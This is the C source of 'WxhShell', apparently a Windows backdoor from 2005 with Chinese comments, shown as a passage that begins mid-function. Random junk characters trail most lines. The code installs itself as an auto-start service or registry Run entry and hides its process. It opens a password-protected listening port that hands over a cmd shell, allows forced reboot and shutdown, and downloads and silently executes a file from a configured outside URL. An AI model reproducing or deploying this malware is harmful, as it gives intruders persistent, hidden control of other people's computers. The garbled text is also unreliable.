    if(Boot(SHUTDOWN)) 38D5vT)n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +/Y2\ s  
    else { [U/h'A.j  
    closesocket(wsh); Y|Q(JX  
    ExitThread(0); vhbHt_!u&  
    } zmGHI! tP  
    break; %K4M`R|2]  
    } lUB?eQuN_  
  // 获取shell m9A%Z bQ^  
  case 's': { " Q?~LB  
    CmdShell(wsh); Mq)]2>"v  
    closesocket(wsh); (87| :{  
    ExitThread(0); RW+u5Y  
    break; qvSYrnpn  
  } :Q>e54]'&  
  // 退出 p$9Aadi]  
  case 'x': { / Qd` ?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U,#x\[3!Jt  
    CloseIt(wsh); lQ`=PFh  
    break; '0+~]4&}q  
    } pQBn8H|Y  
  // 离开 #| _VN %!  
  case 'q': { n}.e(z_"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hs'~) T  
    closesocket(wsh); n H?6o#]N  
    WSACleanup(); \hgd&H0UU  
    exit(1); HTT&T9]  
    break; dhob]8b  
        } IZj`*M%3  
  } olv?$]  
  } 0>Snps3*Z  
(cOe*>L;  
  // 提示信息 5m 0\ls\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1#6emMV.`  
} 1*u]v{JJ(  
  } 4T(d9y  
O*l,&5  
  return; }x`Cnn  
} KhfADqji|  
JE-*o"&  
// shell模块句柄 Bk~C$'x4  
int CmdShell(SOCKET sock) bh1$ A  
{ W+#Q>^Q>  
STARTUPINFO si; cb /Q<i  
ZeroMemory(&si,sizeof(si)); +Pb:<WT}%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  /RJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *^|\#UIk  
PROCESS_INFORMATION ProcessInfo; ?d-w#<AiV  
char cmdline[]="cmd"; BA: x*(%~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'c7nh{F  
  return 0; x^[,0?y2  
} 6]b"n'G  
aNEah  
// 自身启动模式 z qq  
int StartFromService(void) VQHB}Y@^  
{ vd[7Pxe  
typedef struct Sc[#]2 }  
{ s) ]j X  
  DWORD ExitStatus; qX-ptsQ  
  DWORD PebBaseAddress; S{;Pga*Px  
  DWORD AffinityMask; y(Gn+  
  DWORD BasePriority; ML905n u  
  ULONG UniqueProcessId; =4eJ@EVM  
  ULONG InheritedFromUniqueProcessId; 6P{^j  
}   PROCESS_BASIC_INFORMATION; ?Tc#[B  
:E.a.-  
PROCNTQSIP NtQueryInformationProcess; !.,wg'\P  
Njg$~30  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $o?U=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jG[Vp b  
6/8K2_UeoW  
  HANDLE             hProcess; (NvjX})eh  
  PROCESS_BASIC_INFORMATION pbi; T"z<D+ pN  
Jr !BDg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tdH[e0x B  
  if(NULL == hInst ) return 0; gPKf8{#%e  
%LMpErZO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +Umsr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R|C`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +<1 |apS1  
qS+;u`s  
  if (!NtQueryInformationProcess) return 0; Qjfgxy]  
rQimQ|+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "sN%S's  
  if(!hProcess) return 0; *,$5EN  
cb9-~*1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?.VKVTX^  
4[$:KGh3  
  CloseHandle(hProcess); _U^[h!  
~9+01UU^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d^}p#7mB\  
if(hProcess==NULL) return 0; H]/ ~ #a  
(kLaXayn  
HMODULE hMod; @-)?uYw:r  
char procName[255]; ^y/Es2A#t  
unsigned long cbNeeded; * hs&^G  
DU%E883  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z,TH}s6  
QXZXj#`  
  CloseHandle(hProcess); jU&m*0nL  
f#!+l1GV  
if(strstr(procName,"services")) return 1; // 以服务启动 z^QrIl/<c2  
Czjb.c:a.Y  
  return 0; // 注册表启动 L\2"1%8Wj  
} H[~ D]RG}'  
"#O9ij  
// 主模块 d&Nnp jH}c  
int StartWxhshell(LPSTR lpCmdLine) ynIC (t  
{ Q ]CMm2L^f  
  SOCKET wsl; @njNP^'Kx  
BOOL val=TRUE; "u^Erj# /  
  int port=0; Nu"v .]Y2  
  struct sockaddr_in door; |eu8;~A  
ytIPY7E  
  if(wscfg.ws_autoins) Install(); oVpZR$  
WoZU} T-  
port=atoi(lpCmdLine); ;W?#l$R  
RK!9(^Ja  
if(port<=0) port=wscfg.ws_port; f7_( C0d  
"b hK %N;  
  WSADATA data; Nnh\FaI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NuQ!huh  
s>J5.Z7"'j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -MTk9<qnT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F$a s#.7FF  
  door.sin_family = AF_INET; X hq ss),  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H@uu;:l<7A  
  door.sin_port = htons(port); x2B8G;6u  
`}?;Ow&2CY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,m#  
closesocket(wsl); ni?k' \\  
return 1; ;A,X,f  
} T>B'T3or  
dkw.o.e  
  if(listen(wsl,2) == INVALID_SOCKET) { aoey 5hts  
closesocket(wsl); Gm B&TD m  
return 1; ,&UKsrs_  
} a dqS.xs  
  Wxhshell(wsl); ,->K)Rs;  
  WSACleanup(); So&gDR;b  
/"Vd( K2Z  
return 0; XjN4EDi+E  
KmNnW1T  
} |HmY`w6*z  
 V;%ug'j  
// 以NT服务方式启动 _;k<=ns(=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JUr t %2  
{ c7XBZ%D  
DWORD   status = 0; &+#5gii1i  
  DWORD   specificError = 0xfffffff; Yg8* )u0  
-P;0<j@6k5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; , MXU]{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T<B}Z11R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4QA~@pBX^{  
  serviceStatus.dwWin32ExitCode     = 0; n2K1X!E$  
  serviceStatus.dwServiceSpecificExitCode = 0; d=vuy   
  serviceStatus.dwCheckPoint       = 0; G<7M;vRvP  
  serviceStatus.dwWaitHint       = 0; 2f[;U"  
WLl8oE< X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M@xU59$@  
  if (hServiceStatusHandle==0) return; d1cp=RbC  
[Qnf]n\FJ  
status = GetLastError(); E2dM0r<]  
  if (status!=NO_ERROR) Z^|N]Ej  
{ ~X3g_<b_8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N9!L8BBaK  
    serviceStatus.dwCheckPoint       = 0; VM%g QOo<  
    serviceStatus.dwWaitHint       = 0; t+U.4mS-  
    serviceStatus.dwWin32ExitCode     = status; KZ%i&w#<  
    serviceStatus.dwServiceSpecificExitCode = specificError; *S}@DoXS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Lp [i <O]  
    return; WutPy_L<  
  } 6nL^"3@S!  
9rMO=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^VXhv9\>B  
  serviceStatus.dwCheckPoint       = 0; +*8su5:[&@  
  serviceStatus.dwWaitHint       = 0; EX8+3>)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ii?T:T@  
} @5^&&4>N  
^)-[g  
// 处理NT服务事件,比如:启动、停止 T`E0_ZU;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,m{R m0  
{ i% 1UUI(W  
switch(fdwControl) {32m&a  
{ 7+P;s,mi7  
case SERVICE_CONTROL_STOP: M{L- V  
  serviceStatus.dwWin32ExitCode = 0; s`$}xukT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &3t973=  
  serviceStatus.dwCheckPoint   = 0; H7Q$k4\l  
  serviceStatus.dwWaitHint     = 0; /9pxEidVAS  
  { v.|#^A?Qx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8%K{lg"  
  } $U_(e:m}f  
  return; (I$%6JO:  
case SERVICE_CONTROL_PAUSE: m#'eDO:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UQu6JkbLL  
  break; :(A&8<}-6  
case SERVICE_CONTROL_CONTINUE: q}Q G<%VR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G!Brt&_'  
  break; 3Q$ 4`p;  
case SERVICE_CONTROL_INTERROGATE: ;5ki$)v"  
  break; =Ydrct  
}; >=0]7k;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T_D3WHp  
} _Q1p_sdg  
^4fvV\ne_~  
// 标准应用程序主函数 +mWf$+w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @S@VsgQ%3Z  
{ Z^>4qf,k  
A`uHZCwJ5  
// 获取操作系统版本 ;M.Q=#;E  
OsIsNt=GetOsVer(); UfX~GC;B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G?}?>O  
6Hnez@d  
  // 从命令行安装 Dz0D ^(;V  
  if(strpbrk(lpCmdLine,"iI")) Install(); _8.TPB]no  
\8xSfe  
  // 下载执行文件 -yf8  
if(wscfg.ws_downexe) { _ dAyw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $BdwKk !k  
  WinExec(wscfg.ws_filenam,SW_HIDE); uA#K59E+  
} [\W&  
4H6Fq*W{k  
if(!OsIsNt) { M[`[+5v  
// 如果时win9x,隐藏进程并且设置为注册表启动 A&M_ J  
HideProc(); _3aE]\O[  
StartWxhshell(lpCmdLine); Ca0s m  
} `$/a-K}  
else 2jyWkAP'  
  if(StartFromService()) f 0H.$UAL  
  // 以服务方式启动 d}Pfj=W  
  StartServiceCtrlDispatcher(DispatchTable); ><}nZ7  
else 7Vy_Cec1  
  // 普通方式启动 u1 Q;M`+>  
  StartWxhshell(lpCmdLine); +ALrHFG  
@/:4beh  
return 0; 4NID:<  
} %4nf(|8n  
)9nW`d+  
I#2$CSJ  
qj;i03 +@  
=========================================== =_`q;Tu=  
]`)5 Qe4  
&?R/6"J  
V| V 9.  
rC!O}(4t%$  
VFf;|PHS  
" Q2 !GWz$  
f5*qlQJFz\  
#include <stdio.h> ZR\N~.  
#include <string.h> C7dq=(p&  
#include <windows.h> Q#3}AO  
#include <winsock2.h> sMMOZ'bT  
#include <winsvc.h> Aars\   
#include <urlmon.h> ',R%Q0Q  
|J!mM<*K  
#pragma comment (lib, "Ws2_32.lib") $sY'=S  
#pragma comment (lib, "urlmon.lib") h\[@J rDa  
`o{ Z;-OF  
#define MAX_USER   100 // 最大客户端连接数 -| FHv+  
#define BUF_SOCK   200 // sock buffer >UCg3uFj  
#define KEY_BUFF   255 // 输入 buffer TnN yth wZ  
]R""L<K%HF  
#define REBOOT     0   // 重启 P*!`AWn  
#define SHUTDOWN   1   // 关机 JH\:9B+:L  
Hl}lxK,]  
#define DEF_PORT   5000 // 监听端口  :f[ w  
eE'P)^KV  
#define REG_LEN     16   // 注册表键长度 _O}m0c   
#define SVC_LEN     80   // NT服务名长度 2"G9?)d9  
{ YQS fk  
// 从dll定义API r2SZC`Z}-M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {Phq39g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2VY7?1Ab(@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :4zu.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }B'-*)^|e{  
%/uLyCUZ  
// wxhshell配置信息 Kzn1ct{65!  
struct WSCFG { Zp/+F(  
  int ws_port;         // 监听端口 ]_(hUj._  
  char ws_passstr[REG_LEN]; // 口令 Sesdhuy.@  
  int ws_autoins;       // 安装标记, 1=yes 0=no @.7/lRr@bp  
  char ws_regname[REG_LEN]; // 注册表键名 }W'j Dz7O  
  char ws_svcname[REG_LEN]; // 服务名  [p6:uNo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]B )nN':  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c ?CD;Pk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r x9*/Q0F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p(pfJ^/:(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PV#h_X<l%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O(I^:_eH  
Xr K29a  
}; %w^*7Oi  
A{s -g>s  
// default Wxhshell configuration t[TM\j0jW  
struct WSCFG wscfg={DEF_PORT, iQ" LIeD  
    "xuhuanlingzhe", JxinfWk  
    1, gfK_g)'2U  
    "Wxhshell", n,FyK`x  
    "Wxhshell", o:{Sws(=  
            "WxhShell Service", dI\_I]  
    "Wrsky Windows CmdShell Service", `:=1*7)?  
    "Please Input Your Password: ", ;J|t-$Z  
  1, Az@@+?,%Y  
  "http://www.wrsky.com/wxhshell.exe", X[$h &]  
  "Wxhshell.exe" he~8V.$  
    }; $\ZWQct  
fJ8>nOh  
// 消息定义模块 Q`*U U82!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <5G(Y#s/?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B(M-;F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `F/R:!v  
char *msg_ws_ext="\n\rExit."; E "=4(   
char *msg_ws_end="\n\rQuit.";  +#,J`fV%  
char *msg_ws_boot="\n\rReboot..."; Z5TA4Q+Q  
char *msg_ws_poff="\n\rShutdown..."; Rf0so   
char *msg_ws_down="\n\rSave to "; we _CF*zj  
]AA|BeL?|  
char *msg_ws_err="\n\rErr!"; d2eXN3"  
char *msg_ws_ok="\n\rOK!"; XB!qPh .  
C"kfxpCi  
char ExeFile[MAX_PATH]; 6qDt 6uB  
int nUser = 0; %!t9)pNc  
HANDLE handles[MAX_USER]; r5xm7- `c  
int OsIsNt; X`_tm3HC  
5[)5K?%  
SERVICE_STATUS       serviceStatus; bK6^<,~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6MM\nIU)/  
BR|0uJ.M  
// 函数声明 ].rKfv:  
int Install(void); 5 <k)tF%  
int Uninstall(void); w\i]z1  
int DownloadFile(char *sURL, SOCKET wsh); U3_O}X+  
int Boot(int flag); *eHa4I  
void HideProc(void); |?J57(  
int GetOsVer(void); <B>qE a_I  
int Wxhshell(SOCKET wsl); >bWpj8Kv  
void TalkWithClient(void *cs); FNUs .d"  
int CmdShell(SOCKET sock); %P~;>4i,  
int StartFromService(void); |aenQA#  
int StartWxhshell(LPSTR lpCmdLine); JYWoQ[ZO#>  
Q   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W#U|;@"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9]+zZP_#  
lwfS$7^P  
// 数据结构和表定义 4*Hzys[{  
SERVICE_TABLE_ENTRY DispatchTable[] = BDf M4  
{ F)~>4>hPr  
{wscfg.ws_svcname, NTServiceMain}, q`mxN!1[  
{NULL, NULL} 2'=)ese  
}; eV!(a8  
MH)V=xU|)  
// 自我安装 Fy\q>(v.  
int Install(void) n@tt.n!{l  
{ vWmp ?m  
  char svExeFile[MAX_PATH]; tW~kn9glZ  
  HKEY key; +pgHCzwJE  
  strcpy(svExeFile,ExeFile);  ^[SW07o~  
I )yaR+l  
// 如果是win9x系统,修改注册表设为自启动 } O+xs3Uv  
if(!OsIsNt) { iPl,KjGk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ftMlm_u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ws5N|g  
  RegCloseKey(key); m lc8q s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7~J>Ga  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kntY2FM  
  RegCloseKey(key); "7EK{6&jQ  
  return 0; ^U,iDK_  
    } @8{8|P  
  } o5J6Xi0+  
} i. )^}id  
else { ].d%R a:{  
m7NWgXJ  
// 如果是NT以上系统,安装为系统服务 c`x4."m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S-mpob)  
if (schSCManager!=0) H.|I|XRG/  
{ BegO\0%+  
  SC_HANDLE schService = CreateService vTFG*\Cq  
  ( F&uiI;+zJ  
  schSCManager, 8y5"X"U  
  wscfg.ws_svcname, YGPb8!  
  wscfg.ws_svcdisp, Zgh~7Z/  
  SERVICE_ALL_ACCESS, " 4#&tNQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .n+ ;&5  
  SERVICE_AUTO_START, p4IyKry,  
  SERVICE_ERROR_NORMAL, + a*Ic8*  
  svExeFile, Uu8ayN j  
  NULL, =Pn"nkpML  
  NULL, 6 8n ;#-X  
  NULL, 7]Qxt%7/>  
  NULL, [)}P{y [&  
  NULL G*EF_N. G0  
  ); M/Z$?nd_H  
  if (schService!=0) TU)Pi.Aa  
  { @su<_m6'  
  CloseServiceHandle(schService); zjA#8;h~w  
  CloseServiceHandle(schSCManager); =D0d+b6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); An#[ +?  
  strcat(svExeFile,wscfg.ws_svcname); Y?1T XsvF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZzBaYoNy[0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +}at#%1@  
  RegCloseKey(key); V?*fl^f  
  return 0; v+xrn z  
    } 8J&9}@y  
  } z[ ;n2o|s  
  CloseServiceHandle(schSCManager); nLAwo3  
} du }HTrsC  
} 2k=|p@V n~  
Has}oe[  
return 1; }R}M>^(R4  
} 6oQ7u90z*  
y`$qcEw  
// 自我卸载 n~ $S  
int Uninstall(void) aC=2v7*  
{ !Z>,dN  
  HKEY key; #t Uhul/O  
bA 0H  
if(!OsIsNt) { ORKJy )*"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9$U>St  
  RegDeleteValue(key,wscfg.ws_regname); .<%q9Jy#  
  RegCloseKey(key); }\H. G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jtfC3E,U  
  RegDeleteValue(key,wscfg.ws_regname); ^m D$#  
  RegCloseKey(key); <,p$eQ)T%  
  return 0; #O~pf[[L  
  } yn+m,K/  
} xcl;~"c *  
} X ]&`"Z]  
else { 82r{V:NCK)  
g qORE/[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dHOH]x  
if (schSCManager!=0) o$->|k  
{ a}` M[%d7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4e\wC  
  if (schService!=0) fA?Wf[`x  
  { (&)uWjq `  
  if(DeleteService(schService)!=0) { p cUccQ  
  CloseServiceHandle(schService); /QL<>g  
  CloseServiceHandle(schSCManager); 3,i`FqQa  
  return 0; >cjxu9Vr1K  
  } m,hqq%qz  
  CloseServiceHandle(schService); (W"0c?i|]  
  } fh_:ung  
  CloseServiceHandle(schSCManager); H/[(T%]o  
} o6 NmDv5  
} N1g;e?T ':  
k}kwr[  
return 1; hiVDN"$$  
} hx%UZ<a  
He4q-\ht  
// 从指定url下载文件 S9[Up}`  
int DownloadFile(char *sURL, SOCKET wsh) ?5Z-w  
{ [`h,Ti!m<  
  HRESULT hr; sX>|Y3S\U  
char seps[]= "/"; X_JC1  
char *token; O.Dz}[w  
char *file; bZK`]L[   
char myURL[MAX_PATH]; %NlmLWF.  
char myFILE[MAX_PATH]; Smy J@.L"  
4 }_}3.  
strcpy(myURL,sURL); u-n$%yDS  
  token=strtok(myURL,seps); ZA_~o#0%  
  while(token!=NULL) p+Bvfn  
  { tIBEja^l  
    file=token; {hO|{vz  
  token=strtok(NULL,seps); Y8s-cc(  
  } @:'E9J06  
26_PFHQu4  
GetCurrentDirectory(MAX_PATH,myFILE); ;$!0pxL)s  
strcat(myFILE, "\\"); MD1d  
strcat(myFILE, file); <;+QK=f  
  send(wsh,myFILE,strlen(myFILE),0); Lrx"Hn{  
send(wsh,"...",3,0); RM2feWm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3!*` hQ;s  
  if(hr==S_OK) U!"RfRD.<  
return 0; YE"MtL {  
else c7?|Tipc  
return 1; RvVF^~u  
@ *T8>  
} 3e;K5qSeo/  
(|6!pQ7  
// 系统电源模块 7S&O {Q7)  
int Boot(int flag) [)[?FG9   
{ +C`vO5\0  
  HANDLE hToken; {iLr$ 89  
  TOKEN_PRIVILEGES tkp; RKs_k`N0  
.$G^c   
  if(OsIsNt) { j\.pS^+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^=cX L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hA~5,K0b  
    tkp.PrivilegeCount = 1; aC'#H8e|j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CS"k0V44}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1*@Q~f:Uk  
if(flag==REBOOT) { G in  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \=W t{  
  return 0; {2|sk9?W  
} 5= MM^$QG  
else { oFGgr2Re  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) : SD3  
  return 0; 6Vu??qBy  
} @yPI$"Ma  
  } V3pn@'pr  
  else { =8qhK=&]  
if(flag==REBOOT) { Mr K?,7*Xi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {\!@ k\__  
  return 0; ol4!#4Y&{  
} '(($dT  
else { U@:iN..  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BS3BJwf; f  
  return 0; T:j!a{_|  
} pHDPj,lu  
} uUpOa+t  
~65lDFY/  
return 1; ]7dal [i  
} M^A;tPw  
N aiZU  
// win9x进程隐藏模块 ^yF2xJ)9-  
void HideProc(void) U./1OZ&  
{ b(g?X ( &  
YC~kq?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oakm{I|k}  
  if ( hKernel != NULL ) Zo(QU5m0  
  { obIYC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }"chm=b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F a'2i<  
    FreeLibrary(hKernel); Uw_z9ZL  
  } T/l2B1  
=:'a)o  
return; N` rOlEk  
} 8|#p D4e  
!;C *Wsp}  
// 获取操作系统版本 2KmPZ&r  
int GetOsVer(void) o[eIwGxZ  
{ j]_"MMwk$<  
  OSVERSIONINFO winfo; %8GY`T:^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s%qK<U4@;Q  
  GetVersionEx(&winfo); ]+0I8eerd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) thSo,uGlW  
  return 1; uO`YA]  
  else h|'T'l&z  
  return 0; IC7S +v  
} 4mzWNr>fb  
7_#i,|]58  
// 客户端句柄模块 =i)k@w_(x  
int Wxhshell(SOCKET wsl) NCysYmt  
{ Z)zmT%t  
  SOCKET wsh; [P_1a`b  
  struct sockaddr_in client; XmoS$ /#"  
  DWORD myID; ]LhNP}c  
FVcoo V  
  while(nUser<MAX_USER) N^. !l_  
{ *m sW4|=^2  
  int nSize=sizeof(client); D~Y 3\KP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xem:#>&r  
  if(wsh==INVALID_SOCKET) return 1; bP 2IX  
"i1~YE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >m{)shBX  
if(handles[nUser]==0)  HRKe 7#e  
  closesocket(wsh); 3E361?ubM  
else Z*|qbu)  
  nUser++; ;2;Kq)j_=  
  } ' RjFWHAp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <4Jo1  
8BZDaiE"  
  return 0; S|%f<zAtJ  
} "syf@[tz7  
x+9aTsZ  
// 关闭 socket Gx GZxf*(  
void CloseIt(SOCKET wsh) %h%^i   
{ s^$zO p9  
closesocket(wsh); <3>Ou(F  
nUser--; xCV3HnZ  
ExitThread(0); =ITMAC\  
} <zK9J?ZQW>  
,9f$a n  
// 客户端请求句柄 h&vq}  
void TalkWithClient(void *cs) |f~p3KCfV  
{ 'I_\ELb_  
5xHl6T+  
  SOCKET wsh=(SOCKET)cs; r=+r5k"`  
  char pwd[SVC_LEN]; H{P"$zj`l  
  char cmd[KEY_BUFF]; &4yI]  
char chr[1]; |vnfY; ;z1  
int i,j; <c6C+OWT,  
jn#  
  while (nUser < MAX_USER) { <5~} !N X`  
Ee##:I[z  
if(wscfg.ws_passstr) { b&!7(Q[ sT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Au,}5=+`P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '@iS5Fni  
  //ZeroMemory(pwd,KEY_BUFF); S0~F$mP'  
      i=0; ;%#@vXH[Oo  
  while(i<SVC_LEN) { Ss&R!w9p  
fmvv q1G&  
  // 设置超时 '+ |{4-V  
  fd_set FdRead; m(8t |~S  
  struct timeval TimeOut; @fbB3  
  FD_ZERO(&FdRead); H0s,tTK8  
  FD_SET(wsh,&FdRead); g!O(@Sqp1  
  TimeOut.tv_sec=8; {q"l|Oe  
  TimeOut.tv_usec=0; E#T-2^nD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?zNv7Bj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (+9_nAgZ,  
lV^sVN Z]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xgtdmv%  
  pwd=chr[0]; 8_ns^6XK5p  
  if(chr[0]==0xd || chr[0]==0xa) { 52>?l C  
  pwd=0; VWG#v #o  
  break; %9=^#e+pE  
  } Au" [2cG  
  i++; ;#!`c gAh  
    } lFD$ Mc  
~'HwNzDQc  
  // 如果是非法用户,关闭 socket ^m{kn8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !+T+BFw.  
} %?C{0(Z{  
xUzSS@ot^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kO\(6f2|x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JF_\A)<ki  
5sx-u!7  
while(1) { t_WNEZW7f  
oG5JJpLT  
  ZeroMemory(cmd,KEY_BUFF); PZR pH  
5Y)!q?#H  
      // 自动支持客户端 telnet标准   VWmZ|9Ri  
  j=0; o;\0xuM@  
  while(j<KEY_BUFF) { 7k:}9M~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?PSm) ~ Oa  
  cmd[j]=chr[0]; rBkf@  
  if(chr[0]==0xa || chr[0]==0xd) { Q4Q*5>  
  cmd[j]=0; OlFls 8#>  
  break; kN;l@>  
  } *Rj>// A  
  j++; ' d1E~A  
    } #Qy*zU#9  
>\$qF  
  // 下载文件 JB'q_dS}  
  if(strstr(cmd,"http://")) { nKh._bvfX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kkFE9:[-c&  
  if(DownloadFile(cmd,wsh)) M>0=A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L$@^EENS  
  else !/['wv@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W<B8PS$  
  } "a6 wd  
